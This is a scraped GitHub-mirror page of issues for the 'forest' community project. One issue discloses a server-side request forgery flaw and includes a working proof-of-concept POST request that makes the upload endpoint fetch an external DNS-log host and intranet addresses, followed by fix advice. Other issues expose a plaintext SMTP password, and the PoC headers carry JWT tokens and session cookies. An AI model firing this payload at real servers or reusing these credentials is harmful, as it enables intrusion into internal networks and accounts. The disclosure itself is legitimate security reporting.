Git Product home page Git Product logo

forest's People

Contributors

422066139 avatar acaterpillar avatar coldfeenta avatar dependabot[bot] avatar eslsuwen avatar fossabot avatar kkould avatar ronger-x avatar sunzyuu avatar undertone0809 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

forest's Issues

请问mail要怎么配置?

在.yml中配置:
mail:
host: smtp.163.com # 网站发送邮件邮箱服务 host
port: 465
username: [email protected]
password: 4W3tCXdyk0Gm

但是会报错javax.mail.MessagingException: Got bad greeting from SMTP host: smtp.163.com, port: 465, response: [EOF]
请问怎么解决?
Snipaste_2023-12-29_11-32-08

数据库

在哪里可以找到这个项目的数据库文件

Server-side-request-forgery (SSRF) vulnerability allow registered users to Vulnerability in com.rymcu.forest.web.api.common.UploadController(UploadControlle.java存在ssrf漏洞)

1. Steps to reproduce (复现步骤)

1.1 Pull the latest code and set up a test environment(拉取最新代码,搭建测试环境)

Register a user using the system's registration function (使用系统的注册功能,注册一个用户)
image

1.2 Construct a request using the token of the registered user, and fill in the malicious address in the request parameter url.(用注册用户的token构造请求 ,在请求参数url中填写恶意地址)

POST /api/upload/file/link HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Upload-Token: eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJ0ZXN0Iiwic3ViIjoidGVzdCIsImlhdCI6MTcwMjg3MTg1MX0.52fneB5s417LkY67Ry95657YCvlWcng6S3PekvvkEdA
Content-Type: application/json
Content-Length: 50
Origin: http://127.0.0.1:3000
Connection: close
Referer: http://127.0.0.1:3000/article/post
Cookie: SESSION=062279af-c20d-4004-b5e2-23e2196c52f5; auth.strategy=local; auth._token.local=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJhZG1pbiIsInN1YiI6ImFkbWluIiwiaWF0IjoxNzAyNTQ2MTkzfQ.1aL69-kqpkwV9Xu4BOf7takNHUmhp3PzDtOGseXHr-o; auth._token_expiration.local=1702547093332; auth._refresh_token.local=01HHKTJEW0EQ8FD9GCSZ6X5ZT4; auth._refresh_token_expiration.local=1702553393333
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"url":"http://456.v0e01kal.eyes.sh","type":"567"}

image

1.3 DNSLOG successfully receives the request, proving that the vulnerability exists(DNSLOG 成功收到请求,证明漏洞存在)

image
The test intranet address also received the request successfully:(测试内网地址也成功收到请求:)
image
image

2. Vulnerability Existence Source Code Analysis(漏洞存在源码分析)

src/main/java/com/rymcu/forest/web/api/common/UploadController.java The method does not limit the user parameter url, resulting in access to arbitrary intranet addresses(方法中未对用户参数url做限制,导致能访问任意的内网地址)
image

3. affected version (受影响版本)

This ssrf affects the latest version of the curren(这个ssrf影响目前的最新版本)

4. fixes Recommendations (修复建议)

For fix this vuln, Here is my advices:

  1. Input validation and filtering: Strict validation and filtering of all user input URLs or data. Validate the format and protocol of URL parameters and allow only trusted protocols such as HTTP and HTTPS.
  2. Whitelisting mechanism: Consider implementing a whitelisting mechanism to allow access only to specific domain names or IP addresses. Avoid dynamically constructed URLs, especially from user-controlled input.

为了修复这个漏洞,我有以下建议:

  1. 输入验证和过滤:对所有用户输入的URL或数据进行严格验证和过滤。验证URL参数的格式和协议,只允许受信任的协议,如HTTP和HTTPS。
  2. 白名单机制:考虑实施白名单机制,仅允许访问特定域名或IP地址。避免动态构建URL,特别是从用户控制的输入。

项目缺陷&优化建议收集

🎉 感谢使用 forest !

forest 作为一个新生的知识交流社区项目,还存在着许多有待改进和需要完善的地方,欢迎留下您宝贵的意见和改进方案!

25028120

注册没问题,登录报错

org.springframework.cglib.core.CodeGenerationException: java.lang.reflect.InaccessibleObjectException-->Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @28701274

使用的jdk8

ChatGPT功能修复

@PostMapping("/chat")
public GlobalResult<List> chat(@requestbody JSONObject jsonObject) {
//获取JSON数组
JSONArray jsonArray = jsonObject.getJSONArray("message");
//构建消息数组
String[] contents = new String[jsonArray.size()];
//遍历JSON数组,取出key为content的值存进消息数组中
for (int i = 0; i < jsonArray.size(); i++) {
JSONObject obj = jsonArray.getJSONObject(i);
contents[i] = obj.getString("content");
}
// 参数校验
if (StringUtils.isBlank(contents[0])) {
// 参数异常
throw new IllegalArgumentException("参数异常!");
}
// 构建问答列表 用于存储用户输入
List list = new ArrayList();
for (int i = contents.length-1; i >= 0; i--){
if((i+1)%2==0) {
ChatMessage chatMessage1 = new ChatMessage("assistant", contents[i]);
list.add(chatMessage1);
}else{
ChatMessage chatMessage1 = new ChatMessage("user", contents[i]);
list.add(chatMessage1);
}
}
// 调用openapi接口,构建请求头header
//触发拦截器,获取token 用于请求头
OpenAiService service = new OpenAiService(token, Duration.ofSeconds(600));

    // 构建完整的请求
    // model: 机器人模型
    // messages: 用户输入
    ChatCompletionRequest completionRequest = ChatCompletionRequest.builder()
            .model("gpt-3.5-turbo")
            .messages(list)
            .build();

    // 获取机器人回复 将请求参数传入结合token请求openapi接口 这里是发送请求的主要函数
    List<ChatCompletionChoice> choices =  service.createChatCompletion(completionRequest).getChoices();
    // 返回结果
    return GlobalResultGenerator.genSuccessResult(choices);

}

这样可以实现连续对话,而不是一句一句的回复。

链接数据库失败了,提示没有配置url文件

项目运行遇到一个问题,提示Failed to configure a DataSource: 'url' attribute is not specified and no embedded datasource could be configured.但是数据库配置文件又是配置好了的,而且我将配置文件复制到其他项目可以正常链接,就是这个项目不行,不知道什么原因

用户头像压缩/裁剪不同尺寸功能

因用户上传头像过大,导致首页加载慢,修改意见:

  1. 对用户头像进行压缩
  2. 对用户头像裁剪,不同展示场景(首页/文章详情页/个人中心)使用相应尺寸图片

文章审核机制

增加文章内容审核机制,新发布的文章需通过内容审核后方可正式发布

按钮失效

在作品 集详情,点浏览器回退后,
1、 没有跳到历史上一步的浏览链接
2、 在当前界面点击作品集, 按钮失效

f29559b4370474b2a24d9bd055a2c68c.mp4

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.